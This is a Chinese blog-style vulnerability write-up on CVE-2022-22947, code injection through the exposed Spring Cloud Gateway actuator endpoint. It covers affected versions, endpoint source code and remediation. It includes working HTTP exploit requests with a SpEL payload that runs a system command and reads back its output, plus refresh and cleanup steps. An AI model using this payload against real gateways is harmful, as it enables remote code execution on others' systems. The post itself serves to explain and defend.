spring cloud gateway暴漏actuator/gateway造成的漏洞

引言

VMware官方发布了一则安全通告,披露了Spring Cloud Gateway中存在一个高危的代码注入漏洞,漏洞编号为CVE-2022-22947。该漏洞允许远程攻击者通过发送恶意请求,在启用和暴露不安全的Gateway Actuator端点时,执行任意代码,甚至获取系统权限。本文将详细解析这一漏洞,并提供相应的修复建议。

漏洞描述

Spring Cloud Gateway是一个基于Spring Framework和Spring Boot构建的API网关,旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。然而,当应用程序使用Spring Cloud Gateway并对外暴露了Gateway Actuator端点时,就可能存在被CVE-2022-22947漏洞利用的风险。

攻击者可以通过发送特制的恶意请求,利用此漏洞执行SpEL(Spring Expression Language)表达式,从而在远程主机上执行任意代码。这一漏洞的利用过程通常涉及以下几个步骤:

  • 发送恶意请求:攻击者通过HTTP请求向目标系统的Actuator/Gateway端点发送恶意构造的路由配置。
  • 执行SpEL表达式:在路由配置中嵌入SpEL表达式,该表达式在解析时会执行任意代码。
  • 刷新路由配置:通过发送刷新请求,使恶意路由配置生效。
  • 获取执行结果:通过访问特定的路由,获取恶意代码的执行结果。
影响范围

该漏洞影响以下版本的Spring Cloud Gateway:

Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不再受支持的版本
此外,受影响的应用程序还需要使用Spring Boot Actuator组件,该组件用于对外提供/actuator/接口。

漏洞利用示例
以下是一个简单的漏洞利用示例,展示了如何通过发送恶意请求来执行系统命令:

  • 发送恶意路由配置:
http
POST /actuator/gateway/routes/{id} HTTP/1.1
Host: xx.xx.xx.xx:xx
Content-Type: application/json
 
{
  "id": "hacktest",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "Result",
        "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
      }
    }
  ],
  "uri": "http://example.com"
}
  • 刷新路由配置:
http
POST /actuator/gateway/refresh HTTP/1.1
Host: xx.xx.xx.xx:xx
  • 获取执行结果:
http
GET /actuator/gateway/routes/{id} HTTP/1.1
Host: xx.xx.xx.xx:xx
  • 删除恶意路由配置(可选):
http
DELETE /actuator/gateway/routes/{id} HTTP/1.1
Host: xx.xx.xx.xx:xx
POST /actuator/gateway/refresh HTTP/1.1
Host: xx.xx.xx.xx:xx

源码

AbstractGatewayControllerEndpoint

public class AbstractGatewayControllerEndpoint implements ApplicationEventPublisherAware {

	private static final Log log = LogFactory.getLog(GatewayControllerEndpoint.class);

	protected RouteDefinitionLocator routeDefinitionLocator;

	protected List<GlobalFilter> globalFilters;

	// TODO change casing in next major release
	protected List<GatewayFilterFactory> GatewayFilters;

	protected List<RoutePredicateFactory> routePredicates;

	protected RouteDefinitionWriter routeDefinitionWriter;

	protected RouteLocator routeLocator;

	protected ApplicationEventPublisher publisher;

	public AbstractGatewayControllerEndpoint(RouteDefinitionLocator routeDefinitionLocator,
			List<GlobalFilter> globalFilters, List<GatewayFilterFactory> gatewayFilters,
			List<RoutePredicateFactory> routePredicates, RouteDefinitionWriter routeDefinitionWriter,
			RouteLocator routeLocator) {
		this.routeDefinitionLocator = routeDefinitionLocator;
		this.globalFilters = globalFilters;
		this.GatewayFilters = gatewayFilters;
		this.routePredicates = routePredicates;
		this.routeDefinitionWriter = routeDefinitionWriter;
		this.routeLocator = routeLocator;
	}

	@Override
	public void setApplicationEventPublisher(ApplicationEventPublisher publisher) {
		this.publisher = publisher;
	}

	// TODO: Add uncommited or new but not active routes endpoint

	@PostMapping("/refresh")
	public Mono<Void> refresh() {
		this.publisher.publishEvent(new RefreshRoutesEvent(this));
		return Mono.empty();
	}

	@GetMapping("/globalfilters")
	public Mono<HashMap<String, Object>> globalfilters() {
		return getNamesToOrders(this.globalFilters);
	}

	@GetMapping("/routefilters")
	public Mono<HashMap<String, Object>> routefilers() {
		return getNamesToOrders(this.GatewayFilters);
	}

	@GetMapping("/routepredicates")
	public Mono<HashMap<String, Object>> routepredicates() {
		return getNamesToOrders(this.routePredicates);
	}

	private <T> Mono<HashMap<String, Object>> getNamesToOrders(List<T> list) {
		return Flux.fromIterable(list).reduce(new HashMap<>(), this::putItem);
	}

	private HashMap<String, Object> putItem(HashMap<String, Object> map, Object o) {
		Integer order = null;
		if (o instanceof Ordered) {
			order = ((Ordered) o).getOrder();
		}
		// filters.put(o.getClass().getName(), order);
		map.put(o.toString(), order);
		return map;
	}

	/*
	 * http POST :8080/admin/gateway/routes/apiaddreqhead uri=http://httpbin.org:80
	 * predicates:='["Host=**.apiaddrequestheader.org", "Path=/headers"]'
	 * filters:='["AddRequestHeader=X-Request-ApiFoo, ApiBar"]'
	 */
	@PostMapping("/routes/{id}")
	@SuppressWarnings("unchecked")
	public Mono<ResponseEntity<Object>> save(@PathVariable String id, @RequestBody RouteDefinition route) {

		return Mono.just(route).filter(this::validateRouteDefinition)
				.flatMap(routeDefinition -> this.routeDefinitionWriter.save(Mono.just(routeDefinition).map(r -> {
					r.setId(id);
					log.debug("Saving route: " + route);
					return r;
				})).then(Mono.defer(() -> Mono.just(ResponseEntity.created(URI.create("/routes/" + id)).build()))))
				.switchIfEmpty(Mono.defer(() -> Mono.just(ResponseEntity.badRequest().build())));
	}

	private boolean validateRouteDefinition(RouteDefinition routeDefinition) {
		boolean hasValidFilterDefinitions = routeDefinition.getFilters().stream()
				.allMatch(filterDefinition -> GatewayFilters.stream().anyMatch(
						gatewayFilterFactory -> filterDefinition.getName().equals(gatewayFilterFactory.name())));

		boolean hasValidPredicateDefinitions = routeDefinition.getPredicates().stream()
				.allMatch(predicateDefinition -> routePredicates.stream()
						.anyMatch(routePredicate -> predicateDefinition.getName().equals(routePredicate.name())));
		log.debug("FilterDefinitions valid: " + hasValidFilterDefinitions);
		log.debug("PredicateDefinitions valid: " + hasValidPredicateDefinitions);
		return hasValidFilterDefinitions && hasValidPredicateDefinitions;
	}

	@DeleteMapping("/routes/{id}")
	public Mono<ResponseEntity<Object>> delete(@PathVariable String id) {
		return this.routeDefinitionWriter.delete(Mono.just(id))
				.then(Mono.defer(() -> Mono.just(ResponseEntity.ok().build())))
				.onErrorResume(t -> t instanceof NotFoundException, t -> Mono.just(ResponseEntity.notFound().build()));
	}

	@GetMapping("/routes/{id}/combinedfilters")
	public Mono<HashMap<String, Object>> combinedfilters(@PathVariable String id) {
		// TODO: missing global filters
		return this.routeLocator.getRoutes().filter(route -> route.getId().equals(id)).reduce(new HashMap<>(),
				this::putItem);
	}

修复建议

为了修复这一漏洞,建议采取以下措施:

升级到安全版本:

对于Spring Cloud Gateway 3.1.x用户,应升级到3.1.1或更高版本。
对于Spring Cloud Gateway 3.0.x用户,应升级到3.0.7或更高版本。

禁用Gateway Actuator端点:

如果不需要Gateway Actuator端点,可以通过配置management.endpoint.gateway.enabled=false来禁用它。
使用Spring Security保护Actuator端点:
如果需要保留Actuator端点,应使用Spring Security对其进行保护,具体可参考Spring Boot官方文档。

结论

CVE-2022-22947漏洞是一个高危的代码注入漏洞,允许远程攻击者通过发送恶意请求在启用和暴露不安全的Gateway Actuator端点时执行任意代码。为了保障系统的安全性,建议受影响的用户尽快升级到安全版本的Spring Cloud Gateway,并采取相应的防护措施。同时,也应加强系统的安全监控和日志审计,以便及时发现和应对潜在的安全威胁。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值